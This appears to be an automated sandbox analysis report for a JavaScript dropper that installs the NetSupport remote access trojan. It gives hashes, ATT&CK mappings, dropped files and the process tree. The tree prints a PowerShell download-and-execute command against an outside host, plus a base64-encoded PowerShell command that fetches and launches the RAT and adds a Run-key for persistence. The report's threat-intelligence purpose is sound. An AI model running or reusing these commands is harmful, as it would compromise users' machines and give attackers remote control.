netsupport | 9af1e1611a6b0e8fc4fb5c63e36baceb315a6eb38450d2ae8525e21f468043d0

Analysis

max time kernel
141s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
05-03-2024 02:34

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General

Target

9af1e1611a6b0e8fc4fb5c63e36baceb315a6eb38450d2ae8525e21f468043d0.js
Size

69KB
MD5

ad3ac6fce54e6401660fac2b1389e482
SHA1

b1be7f458113971808e7e71f0074d1304d9d0af1
SHA256

9af1e1611a6b0e8fc4fb5c63e36baceb315a6eb38450d2ae8525e21f468043d0
SHA512

963c9926720f9c0c0c7284ccd65a56217263df8c92aa4a90a21fddd2cbc9802fc24216469dc55e2ad329e442fc52fcfbad0991f424c092eefeea79e9d971badd
SSDEEP

1536:P7K8Pc0reSVDFMi/gra8I7dootq56npg3qOWgcRXCqZ/lo8o+0:P7OPquwFmotqepaqOWgcRXCqlZX0

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://compactgrill.hu/care.txt

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://whatisfurosemide.com/f877c2e5-2949-4498-af83-6a5c5jd37342a.txt

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 2 IoCs

flow	pid	Process
26	2232	powershell.exe
29	3496	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
4588	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
4588	client32.exe
4588	client32.exe
4588	client32.exe
4588	client32.exe
4588	client32.exe
4588	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Stable folder manager (mar.04) = "C:\\Users\\Admin\\AppData\\Local\\Stable folder manager (mar.04)\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2232	powershell.exe
2232	powershell.exe
2232	powershell.exe
3496	powershell.exe
3496	powershell.exe
3496	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeSecurityPrivilege	4588	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4588	client32.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1220 wrote to memory of 2232	1220	wscript.exe	97
PID 1220 wrote to memory of 2232	1220	wscript.exe	97
PID 2232 wrote to memory of 3496	2232	powershell.exe	101
PID 2232 wrote to memory of 3496	2232	powershell.exe	101
PID 3496 wrote to memory of 4588	3496	powershell.exe	110
PID 3496 wrote to memory of 4588	3496	powershell.exe	110
PID 3496 wrote to memory of 4588	3496	powershell.exe	110

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\9af1e1611a6b0e8fc4fb5c63e36baceb315a6eb38450d2ae8525e21f468043d0.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nopROF -exeCu byPasS -WiNDows hI -E QwBoAGQAaQByACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhADsAIAAkAGsAbQAxAGgAVABRAEIARwA9AFsAYgB5AHQAZQBbAF0AXQBAACgAOAAwACwAIAA3ADUALAAgADMALAAgADQAKQA7ACAAJABIADQAYgB1AEwAVAA9ACcAaAB0AHQAcAA6AC8ALwB3AGgAYQB0AGkAcwBmAHUAcgBvAHMAZQBtAGkAZABlAC4AYwBvAG0ALwBmADgANwA3AGMAMgBlADUALQAyADkANAA5AC0ANAA0ADkAOAAtAGEAZgA4ADMALQA2AGEANQBjADUAagBkADMANwAzADQAMgBhAC4AdAB4AHQAJwA7ACAAJABhADQARABuAEYAWgB2ADAAPQAnAEMAaQBRAFYAOQBOAC4AegBpAHAAJwA7ACAAJAB1AGIAYgB2AEoAPQAnAFMAdABhAGIAbABlACAAZgBvAGwAZABlAHIAIABtAGEAbgBhAGcAZQByACAAKABtAGEAcgAuADAANAApACcAOwAgACQAawBIAFIAbgBDAGoAPQBpAG4AVgBPAEsAZQAtAFcARQBCAHIARQBxAHUARQBzAFQAIAAtAHUAcgBpACAAJABIADQAYgB1AEwAVAAgAC0AVQBTAGUAYgBBAFMAaQBjAHAAYQBSAFMASQBOAEcAOwAgACQAOQBDAHkAQQBlADQAVQBDAD0AJABrAEgAUgBuAEMAagAuAEMAbwBOAFQARQBOAFQAOwAgACQAZQB4AHMAOABaAFQAPQAkAEUAbgB2ADoATABvAEMAQQBsAGEAcABwAGQAQQBUAGEALAAgACQAdQBiAGIAdgBKACAALQBqAE8AaQBuACAAJwBcACcAOwAgACQAYwAwAEoAQwBvAGIAQwA9AEoATwBJAE4ALQBwAEEAVABIACAALQBQAGEAVABIACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhACAALQBDAEgAaQBMAGQAcABhAFQAaAAgACQAYQA0AEQAbgBGAFoAdgAwADsAIAAkAGcASABVAEYAdQA9AFsAQwBvAG4AdgBFAHIAVABdADoAOgBGAFIAbwBNAGIAQQBzAGUANgA0AHMAVABSAEkAbgBnACgAJAA5AEMAeQBBAGUANABVAEMAKQA7ACAAJABEAFgARgBpAFUAPQAkAGcASABVAEYAdQAgAC0AUwBwAGwASQB0ACAAJwAgACcAIAAtAGEAcwAgAFsAQgB5AHQAZQBbAF0AXQA7ACAAJABCAHMAQwBtAHcARABwAD0AJABrAG0AMQBoAFQAUQBCAEcAKwAkAEQAWABGAGkAVQA7ACAAcwBFAHQALQBDAG8AbgBUAGUATgBUACAAJABhADQARABuAEYAWgB2ADAAIAAkAEIAcwBDAG0AdwBEAHAAIAAtAEUATgBDAE8AZABJAE4ARwAgAEIAWQBUAEUAOwAgAEUAWABQAEEATgBEAC0AQQByAGMAaABJAFYAZQAgAC0AUABhAHQAaAAgACQAYwAwAEoAQwBvAGIAQwAgAC0ARABlAFMAdABpAG4AQQBUAGkATwBuAHAAYQBUAEgAIAAkAGUAeABzADgAWgBUACAALQBmAE8AcgBDAEUAOwAgAHIAZQBtAG8AdgBlAC0ASQBUAEUAbQAgACQAYQA0AEQAbgBGAFoAdgAwADsAIABDAEQAIAAkAGUAeABzADgAWgBUADsAIAAkAFcAaQBFAEUAYQB3AD0AIgAkAGUAeABzADgAWgBUAFwAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAIgA7ACAAcwB0AGEAcgB0ACAAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAOwAgAG4AZQB3AC0ASQBUAEUAbQBQAHIAbwBwAGUAUgB0AHkAIAAtAHAAQQB0AEgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAE4AYQBtAEUAIAAkAHUAYgBiAHYASgAgAC0AdgBBAGwAdQBFACAAJABXAGkARQBFAGEAdwAgAC0AUAByAE8AUABFAHIAVABZAFQAWQBQAGUAIAAnAFMAdAByAGkAbgBnACcAOwA=
    3⤵
    - Blocklisted process makes network request
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3496
  - - C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe
      "C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:4588

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1424 --field-trial-handle=2180,i,12780723798465539942,12010519452607841069,262144 --variations-seed-version /prefetch:8
1⤵
PID:3364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
512c6cab650bfda6ef2995f6b515ed6f

SHA1
fec40abf4f5d74ea7f8828cee83770e423203083

SHA256
84871d83ecd410fb4ddede63061d9c521d876d47a8ffdbb8609378447ba0d262

SHA512
638fffef25de1c3e850eb4f4668c4fdafed7bde042b130325daf323b45d2784916381b410219473b5bbacb4c11c6b8b7ab892b3d5695edb0b0a0785233e8e19b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a5c074e56305e761d7cbc42993300e1c

SHA1
39b2e23ba5c56b4f332b3607df056d8df23555bf

SHA256
e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953

SHA512
c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\HTCTL32.DLL

Filesize
320KB

MD5
2d3b207c8a48148296156e5725426c7f

SHA1
ad464eb7cf5c19c8a443ab5b590440b32dbc618f

SHA256
edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796

SHA512
55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\MSVCR100.dll

Filesize
143KB

MD5
dade79a3f60c7aa95f9519ff123ff2ea

SHA1
163bd17ab8bd9a2d2f7a730d9fecff83b1d84d24

SHA256
73de33627689b4abc76d75cc2cb5661453f477ac273d121e05e5315a935b39c8

SHA512
0997689f2e46417adf65aba23e1d1c11c6e96254b4cf825e2b216581c1d802f85bb0d08aaa2d2910da51d3da5b2580ecffe6cf68a95b7835d6972628c09b3cf3

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\NSM.LIC

Filesize
259B

MD5
866c96ba2823ac5fe70130dfaaa08531

SHA1
892a656da1ea264c73082da8c6e5f5728abcb861

SHA256
6a7c99e4bd767433c25d6df8df81baa99c05dd24fa064e45c306ff4d954e1921

SHA512
0dafc66222bbfcb1558d9845ee4ddeb7a687561b08b86a07b66b120c22952a8082e041d9234d9c69c8ade5d4dae894d3f10afd7ba6dd3f057a08fb5d57c42112

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\PCICHEK.DLL

Filesize
18KB

MD5
a0b9388c5f18e27266a31f8c5765b263

SHA1
906f7e94f841d464d4da144f7c858fa2160e36db

SHA256
313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a

SHA512
6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\PCICL32.DLL

Filesize
271KB

MD5
09996366e60417a8492184073434f8e7

SHA1
8d507c3d9c43ef2178d4c071589009915f6ac578

SHA256
9c0f5409bfcc4cfc8177405be99d64d6007dcfb0e21f35473912a355c65274e5

SHA512
ae08394cafd34c43c5916578149d13dec4b54751fe823bb9947023340742001683a327f46132527e37bdaa26884663aa11889c1e09b981a7e300e171a13fb13f

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\PCICL32.dll

Filesize
317KB

MD5
d42671bc427b63aed9b89841af430025

SHA1
351d7689c87cf68c6cb0d794538b489aac11cb37

SHA256
90491919e296d2db82e9a3f813abc852659bc529955081dfa3ebfb483ffabcb8

SHA512
d42ba0b7f50026c759f690e2732afcd2e53c5b0a7a81ec7185e6d75682415a1980fc632e393f3199b4f0188bd5d69c328e2b58da37a0f30f1020ace10a283f84

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe

Filesize
117KB

MD5
a2b46c59f6e7e395d479b09464ecdba0

SHA1
92c132307dd21189b6d7912ddd934b50e50d1ec1

SHA256
89f0c8f170fe9ea28b1056517160e92e2d7d4e8aa81f4ed696932230413a6ce1

SHA512
4f4479ddcd9d0986aec3d789f9e14f9285e8d9d63a5b8f73c9e3203d3a53cd575b1e15edf0d5f640816bb7f25bd3501244e0f7c181a716a6804742ed2f1cf916

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.ini

Filesize
638B

MD5
5a017da03df76f4e2077fd2c4a115b1b

SHA1
2a79863853d4caa243571c0055c228e079d82339

SHA256
1a4a43c52c289f6f56cbfa56256cff5e9adfd3e78097a94ed4b69490b8c5469d

SHA512
580483c8a6c05dba738a4939e6740ed7698ab7efe54da6db8af273fe7507944b63e562377837ad110d0d645293ea7178fca64fecb197688d614d83854f172f02

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\msvcr100.dll

Filesize
101KB

MD5
bc25c79b3e9b694748078ae217c14cbc

SHA1
52f56328063dc1ba435c34dc8bcff1aead0f7028

SHA256
dac2c65382bde127b1dd6b8edc51ae1c8a277a361519467b95fa14466d94e2bb

SHA512
38d517b1ed34d8dbe2c718835bf222c837261c14095d462dea96fb4f19a7fb53186575d5e662940cf565bf51b3c7794b62a27357fe835bbe3e5110873be867b7

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\msvcr100.dll

Filesize
115KB

MD5
b625a3e67f8b51f0e7da7bb325f8d909

SHA1
94b7f0d1408ac0f64c08a3745ce7db4d60346613

SHA256
1abaf84ddc119bb91d78e7ef9f5505e388bc57815eb4ccfdb98ad2b1f3aa1cfb

SHA512
e50d5221ee715a8ab8d6dfe417ffdd175d9a81e7bbf4f7a009958eefa4186a1dec7c3f9b482cd20104a89f1a560a024a7f4c293245b90f464f4dde7032ea5b7d

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\pcicapi.dll

Filesize
32KB

MD5
dcde2248d19c778a41aa165866dd52d0

SHA1
7ec84be84fe23f0b0093b647538737e1f19ebb03

SHA256
9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917

SHA512
c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sakikpai.jq3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2232-29-0x0000021DAD530000-0x0000021DAD540000-memory.dmp

Filesize
64KB

Download
memory/2232-26-0x00007FFAE20E0000-0x00007FFAE2BA1000-memory.dmp

Filesize
10.8MB

Download
memory/2232-28-0x0000021DAD530000-0x0000021DAD540000-memory.dmp

Filesize
64KB

Download
memory/2232-13-0x0000021DAD530000-0x0000021DAD540000-memory.dmp

Filesize
64KB

Download
memory/2232-11-0x0000021DAD530000-0x0000021DAD540000-memory.dmp

Filesize
64KB

Download
memory/2232-27-0x0000021DAD530000-0x0000021DAD540000-memory.dmp

Filesize
64KB

Download
memory/2232-12-0x0000021DAD530000-0x0000021DAD540000-memory.dmp

Filesize
64KB

Download
memory/2232-10-0x00007FFAE20E0000-0x00007FFAE2BA1000-memory.dmp

Filesize
10.8MB

Download
memory/2232-80-0x00007FFAE20E0000-0x00007FFAE2BA1000-memory.dmp

Filesize
10.8MB

Download
memory/2232-5-0x0000021DAD5B0000-0x0000021DAD5D2000-memory.dmp

Filesize
136KB

Download
memory/3496-21-0x00000189AE260000-0x00000189AE270000-memory.dmp

Filesize
64KB

Download
memory/3496-75-0x00007FFAE20E0000-0x00007FFAE2BA1000-memory.dmp

Filesize
10.8MB

Download
memory/3496-35-0x0000018995CB0000-0x0000018995CBA000-memory.dmp

Filesize
40KB

Download
memory/3496-34-0x0000018995C90000-0x0000018995CA2000-memory.dmp

Filesize
72KB

Download
memory/3496-32-0x00000189AE260000-0x00000189AE270000-memory.dmp

Filesize
64KB

Download
memory/3496-31-0x00000189AE260000-0x00000189AE270000-memory.dmp

Filesize
64KB

Download
memory/3496-30-0x00007FFAE20E0000-0x00007FFAE2BA1000-memory.dmp

Filesize
10.8MB

Download
memory/3496-15-0x00000189AE260000-0x00000189AE270000-memory.dmp

Filesize
64KB

Download
memory/3496-14-0x00007FFAE20E0000-0x00007FFAE2BA1000-memory.dmp

Filesize
10.8MB

Download